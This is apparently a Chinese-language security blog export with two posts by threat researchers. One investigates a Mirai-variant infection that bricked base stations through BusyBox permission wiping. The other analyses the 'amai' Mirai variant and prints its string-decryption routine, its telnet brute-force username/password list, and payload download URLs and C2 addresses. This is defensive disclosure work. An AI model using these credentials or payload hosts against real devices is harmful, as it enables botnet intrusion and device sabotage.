<li>/bin/prepare.sh 中有加系统账号的代码，在 /etc/inittab 中引用执行，如果telnet被启动，就可以通过这里的账号密码进行登录。</li>
<li>/etc/init.d 和 /etc/rc.d/ 目录有 telnetd 的启动服务配置文件。telnet可以通过启动服务的方式启动。</li>
</ol>
<p>但我们并没有发现，telnetd 可以关联到其他进程或服务上。至此，可能性1基本排除。攻击者只能通过漏洞，进入系统。下一步就是判断设备暴漏出的攻击面。</p>
<p>在二次调查中，我们一共获知了以下几条线索（从涉事固件/苦主访谈/蜜罐数据/样本分析等维度）：</p>
<ol>
<li>受害设备中 /bin/busybox 执行权限被清除，所以感染后涉及到 busybox 的命令，均无法执行（佰才邦的同事们也验证了了这个线索）。</li>
<li>hoho.arm7 样本运行后，会将 "/sbin/reboot" "/sbin/poweroff" "/sbin/halt" 三个文件的权限清零，而这三个文件均链接到 busybox，这同受害设备中看到的现象完全吻合。</li>
<li>我们从蜜罐中拿到了hoho投递时的完整 payload，同涉事设备完全吻合。</li>
<li>/www-nui/ 目录中有 http（80）/https（443）服务 调用 haserl 的代码。且 hoho.arm7 文件也出现在该目录。</li>
<li>设备会开放 tr069 服务，绑定端口tcp-7547/udp-6016 （from:群成员-丹丹）。</li>
<li>hoho.arm7 的主控地址，为：<code>45.153.203.120</code></li>
</ol>
<p>结合以上线索，我们得到如下推论/结论：</p>
<p>线索 1-3 ，可以把 “本次事件”和“hoho.arm7样本”两个事情严格的关联在一起。“hoho.arm7” 相关的所有内容，都可以作为本次事件的关键线索。</p>
<p>线索 4 意味着 http/https 相关服务是设备暴露出来的一个攻击面，此时其根目录的 “hoho.arm7”样本则格外的显眼，似乎正在诉说着：“此处有漏洞，快来挖吧～”。</p>
<p>线索 5 中 tr069服务 是我们在以往和 MIRAI 对抗中，经常遇到的一个攻击点，它出现在多种 MIRAI 分支的传播中，同样也是一个可疑度很高的攻击面。</p>
<p>至此，我们将后续的调查范围约束为两个方向：</p>
<ol>
<li>调查 http/https 相关代码是否具有漏洞。</li>
<li>调查 tr069 是否存在漏洞。</li>
</ol>
<p><strong>本小节附带截图</strong></p>
<p>以上线索中，大部分线索不容易截图，这里仅把线索2 和线索3 的截图附在这里，以供参考。</p>
<p>下图是我们从自有蜜罐中看到的用于投递 hoho.arm7 的报文内容，</p>
<p><img src="__GHOST_URL__/content/images/2020/12/hoho_from_sandbox.png" alt="hoho_from_sandbox" loading="lazy"></p>
<p>可以看到，口令：<code>admin/admin</code>， 命令： <code>enable</code> 和 <code>start-shell</code> 均可以同涉事设备相对应，这条记录此时正在投递 hoho.arm7（c626b3c0390d03d822aa25388bb12b25）。</p>
<p>下一个截图则是我们内部关于busybox 权限清除原因的讨论截图：</p>
<p><img src="__GHOST_URL__/content/images/2020/12/talk_about_busybox.png" alt="talk_about_busybox" loading="lazy"></p>
<p>在截图下方，我们通过逆向分析获知 <code>hoho.arm7</code> 可以清除一些系统命令的执行权限，而在截图上方，我们可以看到这几个系统命令最终都会链接到 busybox。也就是说，busybox执行权限被清零的原因正是 <code>hoho.arm7</code> 中这几行代码导致的。</p>
<h1 id="http">HTTP服务中存在漏洞的证明</h1>
<p>在随后的调查阶段，我们终于在 HTTP 相关代码中发现一处 RCE 漏洞，该漏洞无需后台登录，即可实现任意命令执行。并迅速同苦主沟通了 payload 的具体细节，下图是沟通过程中的一张截图：</p>
<p><img src="__GHOST_URL__/content/images/2020/12/share_exploit.png" alt="share_exploit" loading="lazy"></p>
<p>并在苦主任意指出一个测试环境后，完成了远程验证。</p>
<p><img src="__GHOST_URL__/content/images/2020/12/exploit_success.png" alt="exploit_success" loading="lazy"></p>
<p>至此，我们已经证明HTTP服务中确实存在漏洞，且该漏洞能够执行系统命令，包括开启 telnet 服务。</p>
<h1 id="">利用捕获</h1>
<p>通过修改蜜罐，我们在随后的一天中捕获了相同位置的漏洞利用代码，这次传播的是一个名为 yamaha.arm 的MIRAI变种。蜜罐日志如下所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/12/catch_wild_exploit.png" alt="catch_wild_exploit" loading="lazy"></p>
<p>通过对这个 Exploit 分析我们发现，HTTP报文头部有时间戳<code>1608466780</code> 是北京时间<code>2020/12/20 20:19:40</code> 这正是苦主找到我们的头一天。</p>
<p>所以，本次 yamaha.arm 投递可以得到如下线索：</p>
<ol>
<li>POC生成时间早于启动调查时间。</li>
<li>yamaha.arm 的CC地址为 45.153.203.121，同 hoho.arm7 的地址（45.153.203.120）连续。</li>
</ol>
<h1 id="">涉事样本的详细分析</h1>
<h1 id="">后期处置</h1>
<p>基于以上事实，我们给出了两个处置建议：</p>
<ol>
<li>在新版本发布时，关闭HTTP服务，等源码审查结束，再考虑是否重新打开。</li>
<li>对HTTP服务中部分URL的访问增加鉴权处理。</li>
</ol>
<p>随后厂商给出了他们在新版本中的修复tips：</p>
<p><img src="__GHOST_URL__/content/images/2020/12/try_fix_vuln.png" alt="try_fix_vuln" loading="lazy"></p>
<p>于此同时，我们也在试图联系国外相关机构，对恶意主控IP执行短期阻断。以免在修复期间攻击者通过发布DDos攻击指令危害公网安全。</p>
<!--kg-card-end: markdown--> | 综述
缘起
涉事现象
据苦主介绍，他们销售的一些设备于近日出现故障，系统无法正常登录，及操作配置。怀疑系统命令被删除。故障截图如下：
正常情况下 start-shell 后会启动一个 Shell 控制台供管理员管理基站，但受害后，则无法进入控制台。
在随后的跟进中，我们还发现，受害机器的80端口也无法正常使用，报错如下图所示：
这个截图显示，haserl 命令也无法执行，在涉事基站的管理中这是一个重要的命令。
基于以上了解，我方需要苦主，提供以下资料：
1. 一个全部瘫痪设备的IP list。用于评估影响范围。
2. 受害前后的文件系统，用于对比，实现攻击路径回溯。
3. 一个在线的测试环境，用于验证发现，固化结论。
基于以上信息，我们开始对该事件进行调查。
初步线索
拿到受害后文件系统后，我们快速的远程过了一遍，在 web 服务根目录下发现可疑文件hoho.arm7，事后证明，该文件是一条重要的线索，如下图所示：
但该文件的植入方式，在文件系统中并没有日志留存，基于苦主的资料很难继续还原攻击者实际的进入途径。
但在本部门的图系统中，我们惊喜的发现：该样本竟于2天前被我们自有的 Anglerfish 蜜罐系统捕获（该样本并未出现在VT中）。系统显示，这是一个基于 Telnet 服务传播的MIRAI变种样本。如下图所示：
但是该样本也让我们产生了新的困惑：
一方面，受害系统并没有开放telnet服务。 但另一方面，系统显示样本确实是通过 Telnet弱口令扫描传播的，样本本身也具有telnet弱口令扫描的能力；同时，样本中并没有除telnet以外其他的传播能力，即不会通过其他服务传播。
这就意味着，以下几种可能：
1. 系统可能会在某些条件下自发打开telnet服务；
2. 系统中还拥有其他未知漏洞，能够启动 telnet 服务。
3. 系统中可能还有其他未知漏洞，可以植入hoho样本；
（PS： 2 和 3 的区别在于，3 对应的是一个通用漏洞，可以执行系统命令；而 2 则对应着是一个只能启动 telnet 服务而无法执行其他操作的漏洞。从攻击效果上看，2 应该是 3 的一个子集。）
基于以上可能性，我们将调查集中到三个方向：
1. 围绕 telnet 服务展开调查；
2. 汇总设备暴露在外的攻击面，挖掘潜在可能存在漏洞的服务。
3. 虽然 hoho.arm7 出现在现场，但不代表这个坏事就是它干的，需要证据。
确定调查方向
基于可能性：我们首先将关注点集中在 telnet服务 上，重新调查文件系统中各文件，最终得到以下事实：
1. /bin/busybox 包含了telnetd 命令，链接位置 /usr/sbin/telnetd。
2. /bin/prepare.sh 中有加系统账号的代码，在 /etc/inittab 中引用执行，如果telnet被启动，就可以通过这里的账号密码进行登录。
3. /etc/init.d 和 /etc/rc.d/ 目录有 telnetd 的启动服务配置文件。telnet可以通过启动服务的方式启动。
但我们并没有发现，telnetd 可以关联到其他进程或服务上。至此，可能性1基本排除。攻击者只能通过漏洞，进入系统。下一步就是判断设备暴漏出的攻击面。
在二次调查中，我们一共获知了以下几条线索（从涉事固件/苦主访谈/蜜罐数据/样本分析等维度）：
1. 受害设备中 /bin/busybox 执行权限被清除，所以感染后涉及到 busybox 的命令，均无法执行（佰才邦的同事们也验证了了这个线索）。
2. hoho.arm7 样本运行后，会将 "/sbin/reboot" "/sbin/poweroff" "/sbin/halt" 三个文件的权限清零，而这三个文件均链接到 busybox，这同受害设备中看到的现象完全吻合。
3. 我们从蜜罐中拿到了hoho投递时的完整 payload，同涉事设备完全吻合。
4. /www-nui/ 目录中有 http（80）/https（443）服务 调用 haserl 的代码。且 hoho.arm7 文件也出现在该目录。
5. 设备会开放 tr069 服务，绑定端口tcp-7547/udp-6016 （from:群成员-丹丹）。
6. hoho.arm7 的主控地址，为：45.153.203.120
结合以上线索，我们得到如下推论/结论：
线索 1-3 ，可以把 “本次事件”和“hoho.arm7样本”两个事情严格的关联在一起。“hoho.arm7” 相关的所有内容，都可以作为本次事件的关键线索。
线索 4 意味着 http/https 相关服务是设备暴露出来的一个攻击面，此时其根目录的 “hoho.arm7”样本则格外的显眼，似乎正在诉说着：“此处有漏洞，快来挖吧～”。
线索 5 中 tr069服务 是我们在以往和 MIRAI 对抗中，经常遇到的一个攻击点，它出现在多种 MIRAI 分支的传播中，同样也是一个可疑度很高的攻击面。
至此，我们将后续的调查范围约束为两个方向：
1. 调查 http/https 相关代码是否具有漏洞。
2. 调查 tr069 是否存在漏洞。
本小节附带截图
以上线索中，大部分线索不容易截图，这里仅把线索2 和线索3 的截图附在这里，以供参考。
下图是我们从自有蜜罐中看到的用于投递 hoho.arm7 的报文内容，
可以看到，口令：admin/admin， 命令： enable 和 start-shell 均可以同涉事设备相对应，这条记录此时正在投递 hoho.arm7（c626b3c0390d03d822aa25388bb12b25）。
下一个截图则是我们内部关于busybox 权限清除原因的讨论截图：
在截图下方，我们通过逆向分析获知 hoho.arm7 可以清除一些系统命令的执行权限，而在截图上方，我们可以看到这几个系统命令最终都会链接到 busybox。也就是说，busybox执行权限被清零的原因正是 hoho.arm7 中这几行代码导致的。
HTTP服务中存在漏洞的证明
在随后的调查阶段，我们终于在 HTTP 相关代码中发现一处 RCE 漏洞，该漏洞无需后台登录，即可实现任意命令执行。并迅速同苦主沟通了 payload 的具体细节，下图是沟通过程中的一张截图：
并在苦主任意指出一个测试环境后，完成了远程验证。
至此，我们已经证明HTTP服务中确实存在漏洞，且该漏洞能够执行系统命令，包括开启 telnet 服务。
利用捕获
通过修改蜜罐，我们在随后的一天中捕获了相同位置的漏洞利用代码，这次传播的是一个名为 yamaha.arm 的MIRAI变种。蜜罐日志如下所示：
通过对这个 Exploit 分析我们发现，HTTP报文头部有时间戳1608466780 是北京时间2020/12/20 20:19:40 这正是苦主找到我们的头一天。
所以，本次 yamaha.arm 投递可以得到如下线索：
1. POC生成时间早于启动调查时间。
2. yamaha.arm 的CC地址为 45.153.203.121，同 hoho.arm7 的地址（45.153.203.120）连续。
涉事样本的详细分析
后期处置
基于以上事实，我们给出了两个处置建议：
1. 在新版本发布时，关闭HTTP服务，等源码审查结束，再考虑是否重新打开。
2. 对HTTP服务中部分URL的访问增加鉴权处理。
随后厂商给出了他们在新版本中的修复tips：
于此同时，我们也在试图联系国外相关机构，对恶意主控IP执行短期阻断。以免在修复期间攻击者通过发布DDos攻击指令危害公网安全。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 综述\n# 缘起\n\n# 涉事现象\n\n据苦主介绍，他们销售的一些设备于近日出现故障，系统无法正常登录，及操作配置。怀疑系统命令被删除。故障截图如下：\n\n\n\n正常情况下 start-shell 后会启动一个 Shell 控制台供管理员管理基站，但受害后，则无法进入控制台。\n\n在随后的跟进中，我们还发现，受害机器的80端口也无法正常使用，报错如下图所示：\n\n\n\n这个截图显示，haserl 命令也无法执行，在涉事基站的管理中这是一个重要的命令。\n\n基于以上了解，我方需要苦主，提供以下资料：\n\n1. 一个全部瘫痪设备的IP list。用于评估影响范围。\n2. 受害前后的文件系统，用于对比，实现攻击路径回溯。\n3. 一个在线的测试环境，用于验证发现，固化结论。\n\n基于以上信息，我们开始对该事件进行调查。\n\n# 初步线索\n\n拿到受害后文件系统后，我们快速的远程过了一遍，在 web 服务根目录下发现可疑文件hoho.arm7，事后证明，该文件是一条重要的线索，如下图所示：\n\n\n\n但该文件的植入方式，在文件系统中并没有日志留存，基于苦主的资料很难继续还原攻击者实际的进入途径。\n\n但在本部门的图系统中，我们惊喜的发现：该样本竟于2天前被我们自有的 Anglerfish 蜜罐系统捕获（该样本并未出现在VT中）。系统显示，这是一个基于 Telnet 服务传播的MIRAI变种样本。如下图所示：\n\n\n\n但是该样本也让我们产生了新的困惑：\n\n一方面，受害系统并没有开放telnet服务。 但另一方面，系统显示样本确实是通过 Telnet弱口令扫描传播的，样本本身也具有telnet弱口令扫描的能力；同时，样本中并没有除telnet以外其他的传播能力，即不会通过其他服务传播。\n\n这就意味着，以下几种可能：\n\n1. 系统可能会在某些条件下自发打开telnet服务；\n2. 系统中还拥有其他未知漏洞，能够启动 telnet 服务。\n3. 系统中可能还有其他未知漏洞，可以植入hoho样本；\n\n（PS： 2 和 3 的区别在于，3 对应的是一个通用漏洞，可以执行系统命令；而 2 则对应着是一个只能启动 telnet 服务而无法执行其他操作的漏洞。从攻击效果上看，2 应该是 3 的一个子集。）\n\n基于以上可能性，我们将调查集中到三个方向：\n\n1. 围绕 telnet 服务展开调查；\n2. 汇总设备暴露在外的攻击面，挖掘潜在可能存在漏洞的服务。\n3. 虽然 hoho.arm7 出现在现场，但不代表这个坏事就是它干的，需要证据。\n\n\n# 确定调查方向\n\n基于可能性：我们首先将关注点集中在 telnet服务 上，重新调查文件系统中各文件，最终得到以下事实：\n\n1. /bin/busybox 包含了telnetd 命令，链接位置 /usr/sbin/telnetd。\n2. /bin/prepare.sh 中有加系统账号的代码，在 /etc/inittab 中引用执行，如果telnet被启动，就可以通过这里的账号密码进行登录。\n3. /etc/init.d 和 /etc/rc.d/ 目录有 telnetd 的启动服务配置文件。telnet可以通过启动服务的方式启动。\n\n但我们并没有发现，telnetd 可以关联到其他进程或服务上。至此，可能性1基本排除。攻击者只能通过漏洞，进入系统。下一步就是判断设备暴漏出的攻击面。\n\n在二次调查中，我们一共获知了以下几条线索（从涉事固件/苦主访谈/蜜罐数据/样本分析等维度）：\n\n1. 受害设备中 /bin/busybox 执行权限被清除，所以感染后涉及到 busybox 的命令，均无法执行（佰才邦的同事们也验证了了这个线索）。\n2. hoho.arm7 样本运行后，会将 \"/sbin/reboot\" \"/sbin/poweroff\" \"/sbin/halt\" 三个文件的权限清零，而这三个文件均链接到 busybox，这同受害设备中看到的现象完全吻合。\n3. 我们从蜜罐中拿到了hoho投递时的完整 payload，同涉事设备完全吻合。\n4. /www-nui/ 目录中有 http（80）/https（443）服务 调用 haserl 的代码。且 hoho.arm7 文件也出现在该目录。\n5. 设备会开放 tr069 服务，绑定端口tcp-7547/udp-6016 （from:群成员-丹丹）。\n6. hoho.arm7 的主控地址，为：`45.153.203.120`\n\n结合以上线索，我们得到如下推论/结论：\n\n线索 1-3 ，可以把 “本次事件”和“hoho.arm7样本”两个事情严格的关联在一起。“hoho.arm7” 相关的所有内容，都可以作为本次事件的关键线索。 \n\n线索 4 意味着 http/https 相关服务是设备暴露出来的一个攻击面，此时其根目录的 “hoho.arm7”样本则格外的显眼，似乎正在诉说着：“此处有漏洞，快来挖吧～”。\n\n线索 5 中 tr069服务 是我们在以往和 MIRAI 对抗中，经常遇到的一个攻击点，它出现在多种 MIRAI 分支的传播中，同样也是一个可疑度很高的攻击面。\n\n至此，我们将后续的调查范围约束为两个方向：\n\n1. 调查 http/https 相关代码是否具有漏洞。\n2. 调查 tr069 是否存在漏洞。\n\n**本小节附带截图**\n\n以上线索中，大部分线索不容易截图，这里仅把线索2 和线索3 的截图附在这里，以供参考。\n\n下图是我们从自有蜜罐中看到的用于投递 hoho.arm7 的报文内容，\n\n\n\n可以看到，口令：`admin/admin`， 命令： `enable` 和 `start-shell` 均可以同涉事设备相对应，这条记录此时正在投递 hoho.arm7（c626b3c0390d03d822aa25388bb12b25）。\n\n下一个截图则是我们内部关于busybox 权限清除原因的讨论截图：\n\n\n\n在截图下方，我们通过逆向分析获知 `hoho.arm7` 可以清除一些系统命令的执行权限，而在截图上方，我们可以看到这几个系统命令最终都会链接到 busybox。也就是说，busybox执行权限被清零的原因正是 `hoho.arm7` 中这几行代码导致的。\n\n\n\n# HTTP服务中存在漏洞的证明\n\n在随后的调查阶段，我们终于在 HTTP 相关代码中发现一处 RCE 漏洞，该漏洞无需后台登录，即可实现任意命令执行。并迅速同苦主沟通了 payload 的具体细节，下图是沟通过程中的一张截图：\n\n\n\n并在苦主任意指出一个测试环境后，完成了远程验证。\n\n\n\n至此，我们已经证明HTTP服务中确实存在漏洞，且该漏洞能够执行系统命令，包括开启 telnet 服务。\n\n# 利用捕获\n\n通过修改蜜罐，我们在随后的一天中捕获了相同位置的漏洞利用代码，这次传播的是一个名为 yamaha.arm 的MIRAI变种。蜜罐日志如下所示：\n\n\n\n通过对这个 Exploit 分析我们发现，HTTP报文头部有时间戳`1608466780` 是北京时间`2020/12/20 20:19:40` 这正是苦主找到我们的头一天。\n\n所以，本次 yamaha.arm 投递可以得到如下线索：\n\n1. POC生成时间早于启动调查时间。\n2. yamaha.arm 的CC地址为 45.153.203.121，同 hoho.arm7 的地址（45.153.203.120）连续。\n\n# 涉事样本的详细分析\n\n# 后期处置\n基于以上事实，我们给出了两个处置建议：\n\n1. 在新版本发布时，关闭HTTP服务，等源码审查结束，再考虑是否重新打开。\n2. 对HTTP服务中部分URL的访问增加鉴权处理。\n\n随后厂商给出了他们在新版本中的修复tips：\n\n\n\n于此同时，我们也在试图联系国外相关机构，对恶意主控IP执行短期阻断。以免在修复期间攻击者通过发布DDos攻击指令危害公网安全。"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5fe54562d0d9b700071299d8 |
post | null | 2020-12-25T13:27:19.000Z | 63873b9a8b1c1e0007f52f94 | untitled-13 | 0 | 2021-03-11T08:39:57.000Z | public | draft | null | null | Amai，一个细致但又“鲁莽”的mirai变种 | <!--kg-card-begin: markdown--><h2 id="">背景</h2>
<p>2020年12月11日，360netlab发现<code>193.109.217.16</code>正在传播一批未知的ELF样本，经分析，我们确定这是一个复用了mirai结构，但重写了上线信息，加密算法的新型变种。基于样本中<code>amai botnet </code>的字串，我们将其命名为amai。</p>
<p>本以为amai只是一个平淡无奇的mirai变种，但是2020年12月21日，一批佰才邦的基站产品（数量300+）瘫痪，其团队向到我们求助，经过取证，发现背后的黑手就是amai。在之前的分析中，并没有发现amai有让设备瘫痪的功能，为何现实啪啪打脸。带着疑问，我们开始了调查，最终成功定位了问题在于busybox文件系统。鉴于大量IOT设备使用busybox来实现文件系统，一旦被amai侵入会造成巨大危害，我们决定编写本文，向社区披露amai的技术细节。</p>
<h2 id="">分析</h2>
<p>本文选取x86 CPU构架的amai bot样本进行分析，基体信息如下</p>
<pre><code>MD5:cde6336628409d12abcc29d113620f4b
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Lib:uclibc
</code></pre>
<p>amai运行时，会在console输出<code>amai botnet killing off all your daily shitness off your device, you're welcome :)</code>以迷惑用户，通过绑定端口实现单一实例，解密出加密的资源供后续的进程重命名，进程清理使用。接着通过操纵watchdog设备，以及抹去<code>halt,reboot,poweroff</code>执行权限来实现设备不重起。最后开始telnet爆破；同时和C2建立通信，等待执行C2下发的指令。下文将依此脉络分析amai的实现。</p>
<h3 id="">单一实例</h3>
<p>目前观测到amai一共使用过2个端口：<code>5231，8923</code></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_single.jpg" alt="amai_single" loading="lazy"></p>
<h3 id="">解密算法</h3>
<p>解密出字串资源供后续使用,python实现如下</p>
<pre><code>xorkey="QjfjxSRDFGSFDdf"
def decode_str(ctxt):
for i in range(0,len(ctxt)):
for idx in range(1, len(xorkey)):
ch=ord(ctxt[i])
ch ^=((idx*((ord(xorkey[idx]) + i ) &0xff)) &0xff)
ctxt=ctxt[:i]+chr(ch)+ctxt[i+1:]
ch ^=0xaf
ctxt=ctxt[:i]+chr(ch)+ctxt[i+1:]
return ''.join(ctxt)
</code></pre>
<p>以密文<code>C8 39 39 02</code>为例，</p>
<pre><code>procname='''C8 39 39 02
'''.replace(' ', '').replace('\n','').decode('hex')
print(decode_str(procname))
;;; sipd
</code></pre>
<p>以下为解密出的字串列表</p>
<pre><code>/proc
/stat
/proc/1/stat
/map
/usr/lib
/lib
sipd
</code></pre>
<hr>
<h3 id="">进程重命名</h3>
<br />
<p>新的进程名为解密的字串<code>sipd</code></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_prctl.jpg" alt="amai_prctl" loading="lazy"></p>
<h3 id="">权限抹除</h3>
<p>抹除以下系统命令的权限，以让受害者设备无法重起。</p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_chmod.jpg" alt="amai_chmod" loading="lazy"></p>
<p>值得注意的是，在使用busybox作用文件系统的设备，以上操作会造成<code>额外伤害</code>。</p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_reboot.jpg" alt="amai_reboot" loading="lazy"></p>
<p>如上所示，halt,poweroff,reboot都是busybox实现的，抹权限操作最终会让<code>/bin/busybox</code>的权限变成0，进而导致大量依赖busybox的服务无法使用，设备陷入瘫痪状态。</p>
<h3 id="">进程清理</h3>
<p>进程清理分成2步，通过<code>kill -9</code>结束非白名单进程，接着为系统建立进程快照，不达标的新进程创建后都将被清除，整个系统保持在amai的控制下运行，让维护变得极其困难。</p>
<h4 id="">第一步，清理非白名单进程。</h4>
<p>当bot样本运行时，遍历系统当前进行的进程，进行号大于299，路径不在以下路径中的进程都会被结束。可以看出，路径都是系统正常运行依赖的，因此可以推测amai<code>无意去破坏系统</code>。</p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_white.jpg" alt="amai_white" loading="lazy"></p>
<p>同时被结束的进程会回传给C2，这一步的目的未知。</p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_reportproc.jpg" alt="amai_reportproc" loading="lazy"></p>
<h4 id="">第二步，建立进程快照，不达标的新进程都将被清理。</h4>
<p>当bot清理了非白单名单进程后，认为系统处在一个“纯净的状态”，此时为系统建立进程快照，监控新进程创建，不达标就清理掉。</p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_killproc.jpg" alt="amai_killproc" loading="lazy"></p>
<p>其中<code>wrap_strin</code>的功能为子串匹配，当新进程的绝对路径不是bot样本的绝对路径的子串时，新进程就会被杀死。以下演示了这个过程，当名为<code>samp</code>样本运行后，<code>netstat</code>系统命令执行时直接被杀死了。我们将netstat拷贝到同路径下，重命名为<code>sa</code>,可以看到sa能正常。</p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_show.png" alt="amai_show" loading="lazy"></p>
<h3 id="telnet">telnet扫描</h3>
<p>复用了mirai扫描机制，使用以下帐号密码对随机生成的ip地址进行登录尝试</p>
<pre><code>("root", "vizxv")
("admin", "admin")
("root", "icatch99")
("default", "default")
("default", "0");
("root", "solokey")
("root", "123456")
("guest", "guest")
("root", "xc3511")
("root", "root")
("guest", "12345")
("user", "user")
("support", "support")
("admin", "samsung")
("daemon", "daemon")
("root", "tsgoingon")
("root", "xmhdipc")
("root", "Zte521")
("telnetadmin", "telnetadmin")
("ftp", "ftp")
("root", "hslwificam")
("root", "2011vsta")
("bin", "0")
("admin", "12345")
("vstarcam2015", "20150602")
("root", "antslq")
("e8ehome", "e8ehome")
("e8telnet", "e8telnet")
("root", "54321")
("admin", "h@32LuyD")
("teladmin", "hacktheworld1337")
("root", "hipc3518")
("root", "888888")
("root", "admin")
("root", "default")
("root", "1234")
("root", "root")
("root", "20080826")
("admin", "12345")
("admin", "54321")
("admin", "123456")
("admin", "1234")
("admin", "aquario")
("root", "ttnet")
("admin", "2601hx")
("admin", "t0talc0ntr0l4")
("ubnt", "ubnt")
("root", "1001chin")
</code></pre>
<p>将能成功登录的设备信息回传给reporter,格式为<code>ip:23 <user>:<pass>\r\n</code></p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_telrep.jpg" alt="amai_telrep" loading="lazy"></p>
<h3 id="c2">C2通信及指令</h3>
<p>bot样本向C2发送以下信息通知上线</p>
<h4 id="">上线包</h4>
<p>packet 1</p>
<pre><code>01 01
</code></pre>
<p>packet 2</p>
<pre><code>01 02 20 <group>
</code></pre>
<p>流量抓包如下</p>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_reg.jpg" alt="amai_reg" loading="lazy"></p>
<h4 id=""></h4>
<h4 id="ddos">DDoS攻击</h4>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_attack.jpg" alt="amai_attack" loading="lazy"></p>
<h2 id="">就怕坏人爱学习</h2>
<p>至此分析结束，但是故事并没有结束。 从amai的进程清理功能，我们可以看出其作者起初将作工作做的非常细致，并不想破坏设备的正常运行。但是未曾想到抹除<code>halt,reboot,poweroff</code>系统命令的权限操作意外的影响到了busybox，进而使得以busybox作为文件系统的设备瘫痪，非常巧合的增加了amai的危害性。</p>
<p>amai的作者发现了这个问题，选择修复，随后在2020年12月14日 更新了新版本，去除了权限抹除的操作。</p>
<p>随后其作者又意识到了这个操作的价值------非常方便就能把设备变成只能被他控制的“半砖”。因此在2020年12月20日传播的影响到佰才邦的基站设备的样本中重新加入了抹除权限的操作。</p>
<p>以3个时间节点的样本为例，我们可以看到抹除权限操作的来来往往，真是应了那句话，不怕坏人武功高，就怕坏人脑洞大！</p>
<pre><code>{"uri":"http://193.109.217.16:80/hohobins/hoho.x86",
"@timestamp":"2020-12-11 04:03:09",
"fn":"mirai_amai",
"md5":"80c982d760648ca07faa5e7ee783710b"}
</code></pre>
<pre><code>{"uri":"http://193.109.217.16:80/hohobins/hoho.x86",
"@timestamp":"2020-12-14 04:00:16",
"fn":"mirai_amai",
"md5":"6003cf5538dfc184e5f879ef78962a7d"}
</code></pre>
<pre><code>{"uri":"http://45.153.203.120:80/hohobins/hoho.arm7",
"@timestamp":"2020-12-20 03:01:00",
"fn":"mirai_amai",
"md5":"c626b3c0390d03d822aa25388bb12b25"}
</code></pre>
<p><img src="__GHOST_URL__/content/images/2020/12/amai_version.jpg" alt="amai_version" loading="lazy"></p>
<h2 id="ioc">IOC</h2>
<h3 id="c2">c2</h3>
<pre><code>193.109.217.16:889
45.153.203.120:889
</code></pre>
<!--kg-card-end: markdown--> | 背景
2020年12月11日，360netlab发现193.109.217.16正在传播一批未知的ELF样本，经分析，我们确定这是一个复用了mirai结构，但重写了上线信息，加密算法的新型变种。基于样本中amai botnet 的字串，我们将其命名为amai。
本以为amai只是一个平淡无奇的mirai变种，但是2020年12月21日，一批佰才邦的基站产品（数量300+）瘫痪，其团队向到我们求助，经过取证，发现背后的黑手就是amai。在之前的分析中，并没有发现amai有让设备瘫痪的功能，为何现实啪啪打脸。带着疑问，我们开始了调查，最终成功定位了问题在于busybox文件系统。鉴于大量IOT设备使用busybox来实现文件系统，一旦被amai侵入会造成巨大危害，我们决定编写本文，向社区披露amai的技术细节。
分析
本文选取x86 CPU构架的amai bot样本进行分析，基体信息如下
MD5:cde6336628409d12abcc29d113620f4b
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Lib:uclibc
amai运行时，会在console输出amai botnet killing off all your daily shitness off your device, you're welcome :)以迷惑用户，通过绑定端口实现单一实例，解密出加密的资源供后续的进程重命名，进程清理使用。接着通过操纵watchdog设备，以及抹去halt,reboot,poweroff执行权限来实现设备不重起。最后开始telnet爆破；同时和C2建立通信，等待执行C2下发的指令。下文将依此脉络分析amai的实现。
单一实例
目前观测到amai一共使用过2个端口：5231，8923
解密算法
解密出字串资源供后续使用,python实现如下
xorkey="QjfjxSRDFGSFDdf"
def decode_str(ctxt):
for i in range(0,len(ctxt)):
for idx in range(1, len(xorkey)):
ch=ord(ctxt[i])
ch ^=((idx*((ord(xorkey[idx]) + i ) &0xff)) &0xff)
ctxt=ctxt[:i]+chr(ch)+ctxt[i+1:]
ch ^=0xaf
ctxt=ctxt[:i]+chr(ch)+ctxt[i+1:]
return ''.join(ctxt)
以密文C8 39 39 02为例，
procname='''C8 39 39 02
'''.replace(' ', '').replace('\n','').decode('hex')
print(decode_str(procname))
;;; sipd
以下为解密出的字串列表
/proc
/stat
/proc/1/stat
/map
/usr/lib
/lib
sipd
进程重命名
新的进程名为解密的字串sipd
权限抹除
抹除以下系统命令的权限，以让受害者设备无法重起。
值得注意的是，在使用busybox作用文件系统的设备，以上操作会造成额外伤害。
如上所示，halt,poweroff,reboot都是busybox实现的，抹权限操作最终会让/bin/busybox的权限变成0，进而导致大量依赖busybox的服务无法使用，设备陷入瘫痪状态。
进程清理
进程清理分成2步，通过kill -9结束非白名单进程，接着为系统建立进程快照，不达标的新进程创建后都将被清除，整个系统保持在amai的控制下运行，让维护变得极其困难。
第一步，清理非白名单进程。
当bot样本运行时，遍历系统当前进行的进程，进行号大于299，路径不在以下路径中的进程都会被结束。可以看出，路径都是系统正常运行依赖的，因此可以推测amai无意去破坏系统。
同时被结束的进程会回传给C2，这一步的目的未知。
第二步，建立进程快照，不达标的新进程都将被清理。
当bot清理了非白单名单进程后，认为系统处在一个“纯净的状态”，此时为系统建立进程快照，监控新进程创建，不达标就清理掉。
其中wrap_strin的功能为子串匹配，当新进程的绝对路径不是bot样本的绝对路径的子串时，新进程就会被杀死。以下演示了这个过程，当名为samp样本运行后，netstat系统命令执行时直接被杀死了。我们将netstat拷贝到同路径下，重命名为sa,可以看到sa能正常。
telnet扫描
复用了mirai扫描机制，使用以下帐号密码对随机生成的ip地址进行登录尝试
("root", "vizxv")
("admin", "admin")
("root", "icatch99")
("default", "default")
("default", "0");
("root", "solokey")
("root", "123456")
("guest", "guest")
("root", "xc3511")
("root", "root")
("guest", "12345")
("user", "user")
